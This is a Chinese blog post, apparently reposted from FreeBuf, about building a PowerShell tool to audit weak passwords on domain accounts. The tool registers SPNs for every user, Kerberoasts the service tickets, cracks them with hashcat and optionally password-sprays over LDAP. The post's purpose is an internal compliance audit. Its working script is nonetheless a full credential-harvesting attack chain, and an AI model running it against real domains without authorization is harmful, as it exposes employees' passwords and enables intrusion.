记一次编写域账号弱口令审计工具

时间:2019-11-13 09:23:55   热度:37.1℃   作者:网络

原标题:记一次编写域账号弱口令审计工具

0×00 背景

为了进行相关安全方面的认证,需要对公司域环境内员工账号的密码进行审计,作为一名刚从事信息安全的人员,尝试在本身拥有的权限以内,在不影响其他员工日常工作、不影响服务器正常运行的情况下,审计出使用弱密码作为登录口令的员工。

0×01 过程 0×0101 LDAP尝试

因为员工的电脑都处于一个域环境下,因而所有的账号密码都保存在域控的一个数据库中。

刚开始想到可以使用Powershell通过LDAP向域控发送用户名和密码一个个进行爆破尝试

然而因为域环境下为设定了账户锁定策略,连续尝试5次失败后,会被锁定30min,会严重影响到被锁定账户员工的工作。

因而这条思路对同一个用户只能尝试5次,走不通。

0×0102 Kerberos尝试

1. 想到域环境下通常使用Kerberos作为网络认证协议,可以利用黄金票据和白银票据来进行渗透测试。

黄金票据:

黄金票据是要伪造出AS颁发给Client的TGT,伪造的其中一个条件就是要获得KDC的KRBTGT账户的密钥 * 然而自身只拥有一台公司发的工作电脑,域控管理员没有在这台电脑上登录过,因而也就无法通过mimikatz工具提取到权限较大的管理员的账户口令。

白银票据:

白银票据是要伪造出TGS颁发给Client的ST,伪造的其中一个条件就是要获得特定Service Server的账号密码。通过白银票据,可以访问特定Service Server上的所有资源。

2. 我的目的在于如何获得特定Service Server的账号密码,这里有一个重点。域内电脑通常有两个账户,

一个是域计算机账户,可以使用net group “domain computers” /domain进行查看:

域计算机账户的密码是自动生成的,通常在128位及以上,很难破解

一个是域用户账户,可以使用net group “domain users” /domain进行查看:

域用户账户的密码是用户自己设置,按照账户密码策略进行设置

3. 如果熟悉Kerberos协议,我们了解到在第四步,TGS会返回给Client一个用户特定Service Server账户密码的NT Hash加密的ST,我们可以尝试对ST进行爆破,进而得到特定Service Server账户的密码。这里我只说了Service Server账户,是因为这里也有一个重点。这里的Service Server 也有两种,是根据域账户的类型来进行分类的。 Service Server有一个专门的名称,即SPN(Service Shysical Name,服务实体名称,可以通过setspn -T -q */*查询现在已注册的所有的SPN。

* 在计算机加入到域中时会自动使用**域计算机账户**注册SPN; * ![1573450070_5dc8f15657951.png!small](https://image.3001.net/images/20191111/1573450070_5dc8f15657951.png!small) * 另一种时以**域用户账户**的身份手动注册SPN。 * ![1573450083_5dc8f163413b3.png!small](https://image.3001.net/images/20191111/1573450083_5dc8f163413b3.png!small)

4. 因为员工都是个人电脑,所以上面查到的基本都是域计算机账户加入域时自动注册的SPN,这里便需要我们尝试为员工的域账户注册SPN。

可以通过setspn -A ServiceClass/ 注册SPN

5. 之后我们便可以进行Kerberos的第三步以获取ST,利用Invoke-Kerberoast.ps1以hashcat格式导出ST

6. 利用hashcat工具进行爆破

0×02 工具编写思路

抓取所有的域用户服务账户

清洗得到的数据放入账户列表中

为每一个域用户账户注册SPN

将注册成功的域用户账户的SPN放进一个列表

访问列表中的每一个SPN,使用mimikatz导出缓存的上面各个SPN的服务凭据

或使用Invoke-Kerberoast以Hashcat格式导出每个SPN的ST的Hash

利用tgsrepcrack.py爆破上面的服务凭据

或利用hashcat工具爆破上面得到的Hash

0×03 代码 <# domainAccountCheck.ps1 Author: JC (@chroblert) #> # 得到域中所有的用户 function Get-UserList { # 将包含域用户账户的结果保存到$resultList中去 $resultList = net group "domain users" /domain |%{ $_ -split " "}|%{ if ($_ -ne ""){$_.trim}} # 上述列表中,包含一些杂乱的数据,需要将其进行清洗 foreach ($line in $resultList){ if($line.contains("---")){ $start = $resultList.indexof($line) + 1 # 减去2是因为最后一个的下标比数量少1,且最后一个不是有效的账户 $end = $resultList.count - 2 } } $userListA = $resultList[$start..$end] $userList = New-Object System.Collections.ArrayList foreach ($user in $userListA){ if( -Not $user.contains("$")){ $userList.add($user)|Out-Null } } Write-Host "保存域中所有的域用户账号到.\result\allUserList.txt文件中去" $userList | Out-File ".\result\allUserList.txt" return $userList.clone } # 为域用户账户注册SPN function Set-SPN{ Param( [System.Collections.ArrayList] $allUserList ) if($allUserList -eq $null){ if(Test-Path ".\result\allUserList.txt"){ Write-Host "使用result目录下的allUserList.txt文件进行操作" $allUserList = Get-Content .\result\allUserList.txt }else{ Write-Host "参数值错误,且不存在allUserList.txt文件,EXIT" return $false } } $sucUserList = New-Object System.Collections.ArrayList $faiUserList = New-Object System.Collections.ArrayList $sucSPNList = New-Object System.Collections.ArrayList $faiSPNList = New-Object System.Collections.ArrayList $allUserAndSPNList = New-Object System.Collections.ArrayList foreach ($num in 1..$allUserList.count){ # 将要执行的命令进行动态拼接 $SPNStr = "weakPasswordTest/JC-ISDevil" + $num $userStr = $allUserList[$num-1] $allUserAndSPNList.add($userStr + "|#|" + $SPNStr) | Out-Null # 执行包含命令的字符串 # 使用Invoke-Expression后不知如何判断字符串命令执行的结果,因而弃用 #Invoke-Expression $setStr # redirect error stream(2) to success stream(1) setspn -S $SPNStr -U $userStr 2>&1 | Out-Null if ($? -contains "True"){ Write-Host -ForegroundColor Green "【+】" $userStr "注册成功" $sucUserList.add($userStr) | Out-Null $sucSPNList.add($SPNStr) | Out-Null }else{ Write-Host -ForegroundColor Red "【-】" $userStr "注册失败" $faiUserList.add($userStr)|Out-Null } # 暂停 等待用户输入数据 # Read-Host } Write-Host "保存所有user和SPN到.\result\allUserAndSPNList.txt文件中去" $allUserAndSPNList | Out-File ".\result\allUserAndSPNList.txt" Write-Host "保存注册SPN成功的域用户账号到.\result\sucUserList.txt文件中去" $sucUserList | Out-File ".\result\sucUserList.txt" Write-Host "保存注册SPN成功的SPN到.\result\sucSPNList.txt文件中去" $sucSPNList | Out-File ".\result\sucSPNList.txt" Write-Host "保存注册SPN失败的域用户账号到.\result\faiUserList.txt文件中去" $faiUserList | Out-File ".\result\faiUserList.txt" return $sucUserList,$sucSPNList,$faiUserList } function Del-SPN{ Param( [System.Collections.ArrayList] $sucSPNListA, [System.Collections.ArrayList] $sucUserListA ) if ($sucSPNListA -eq $null -or $sucUserListA -eq $null){ if(Test-Path '.\result\sucSPNList.txt' -and Test-Path ".\result\sucUserList.txt"){ Write-Host "传参错误,将启用文件sucSPNList.txt和sucUserList.txt中的内容" $sucSPNListA = Get-Content .\result\sucSPNList.txt $sucUserListA = Get-Content .\result\sucUserList.txt }else{ Write-Host "传参错误且相关文件不存在,EXIT" return $false } } if ($sucSPNListA.count -ne $sucUserListA.count){ Write-Host "SPN数量与用户数量不等,EXIT" return $false } if ($sucSPNListA.count -eq 0 -OR $sucUserListA.count -eq 0){ Write-Host "数组为空,EXIT" return $false } foreach ($spnStr in $sucSPNListA){ setspn -D $spnStr $sucUserListA[$sucSPNListA.indexof($spnStr)] 2>&1 |Out-Null if($? -contains "True") { Write-Host "删除成功" }else{ Write-Host "删除失败" } } Write-Host "全部删除成功" } # 访问SPN得到TGS发放的服务票据ST,提取其中的Hash值并保存到krbstHash.txt文件中去 function Get-ServiceTicket{ Param( [String] $krbstHashFileName ) Import-Module ./kerberoast/Invoke-Kerberoast.ps1 # Set-Content 以ANSI编码方式保存文件;Out-File 默认以Unicode方式保存文件,因而需要指定编码格式 Invoke-Kerberoast -OutputFormat Hashcat|select hash|%{$_.Hash}|Out-File $krbstHashFileName -Encoding ascii } # 引入tgscrack来爆破下载下来的凭据 function Crack-ServiceTicket{ Param( [String] $krbstHashFileName, [String] $passwdDictFileName ) Write-Host "正在爆破中ing.......请稍等" if((Test-Path $krbstHashFileName) -and (Test-Path $passwdDictFileName)){ .\hashcat\hashcat64.exe -m 13100 -a 0 $krbstHashFileName $passwdDictFileName -o ".\succeed.txt" --force if(Test-Path ".\result\succeed.txt"){ $hashAndPasswdList = Get-Content ".\result\succeed.txt" $userAndPasswdList = New-Object System.Collections.ArrayList foreach($item in $hashAndPasswdList){ $userStr = ($item.split("$")[3]).split("*")[1] $passwdStr = $item.split(":")[1] $userAndPasswd = $userStr + "|#|" + $passwdStr Write-Host -ForegroundColor Green "【+】" $userAndPasswd $userAndPasswdList.add($userAndPasswd) | Out-Null } }else{ Write-Host "没有从密码字典中审计出弱口令" return $false } }else{ Write-Host "相关文件不存在,EXIT" return $false } Write-Host "将破解出的用户名和密码保存到.\result\userAndPasswdList.txt文件中去" $userAndPasswdList | Out-File ".\result\userAndPasswdList.txt" } function LDAPCheck{ Write-Host -ForegroundColor Yellow "使用该项功能需注意,很容易锁住账户" $tmpFile = "./result/tmpPasswd.txt" if(Test-Path "./result/userAndPasswdList.txt"){ Get-Content .\result\userAndPasswdList.txt|%{$_.split('|#|')[3]}|sort -Unique | Out-File -Encoding ascii $tmpFile }else{ Write-Host -ForegroundColor Yellow "之前没有审计出弱口令,请在result目录下新建tmpPasswd.txt文件,在里面放入密码,每行一个" break } if(Test-Path $tmpFile){ Import-Module ./kerberoast/DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -PasswordList $tmpFile -O "LDAPCheckResult.txt" } } # 创建一个用来保存结果的目录 if(-Not (Test-Path ".\result")){ New-Item -ItemType Directory "result" } # menu $krbstHashFile = ".\krbstHash.txt" $passwdDictFile = ".\Dicts\JCPasswd.txt" Do { Write-Host "======domainAcountCheck======" Write-Host "|| Author:JC ||" Write-Host "|| Version:2.0.1 ||" Write-Host "=============================" Write-Host "=== 选项 ===" Write-Host "| 1 获取域内所有域用户账户" Write-Host "| 2 为域内的所有用户账户尝试注册SPN" Write-Host "| 3 获取现有SPN的凭据的Hash" Write-Host "| 4 爆破获得的Hash" Write-Host "| 5 删除注册的SPN" Write-Host "| 6 使用SPN审计获得的密码通过LDAP方式再次进行审计" Write-Host "| 7 全部运行" Write-Host "| 0 EXIT" $choice = Read-Host "请选择一个选项进行操作`n>>" switch($choice){ 1 { Write-Host "获取到所有的域用户账户" $allUserList = Get-UserList break } 2 { Read-Host "为每一个域用户账号注册SPN" $sucUserList,$sucSPNList,$faiUserList = Set-SPN $allUserList break } 3 { Get-ServiceTicket $krbstHashFile break } 4 { Crack-ServiceTicket $krbstHashFile $passwdDictFile break } 5 { Read-Host "下面将要为注册SPN成功的域用户账户删除SPN" Del-SPN $sucSPNList $sucUserList break } 6 { LDAPCheck break } 7 { # 1\. 获取用户 Write-Host "获取到所有的域用户账户" $allUserList = Get-UserList # 2\. 注册SPN Read-Host "为每一个域用户账号注册SPN" $sucUserList,$sucSPNList,$faiUserList = Set-SPN $allUserList # 3\. 访问SPN获得ST,并以hashcat模式保存到文件krbstHash.txt中 Get-ServiceTicket $krbstHashFile # 4\. 使用hashcat爆破ST中hash对应的口令 Crack-ServiceTicket $krbstHashFile $passwdDictFile # 5\. 删除SPN Read-Host "下面将要为注册SPN成功的域用户账户删除SPN" Del-SPN $sucSPNList $sucUserList break } 0 { Write-Host "相关结果文件,请到result目录查看" return $false break } default {"请重新选择`n"} } }While($true)

上面为主要代码,全部代码在GitHub:https://github.com/chroblert/domainWeakPasswdCheck

0×04 使用

填充密码字典文件

dicts/JCPasswd.txt

powershell下运行

运行后结果:

*本文作者:jerrybird,转载请注明来自FreeBuf.COM

上一篇: 2019年冬季残疾人专场招聘会举行

下一篇: 敦煌七里镇流浪狗狗救助站领养狗狗,希望能...


 本站广告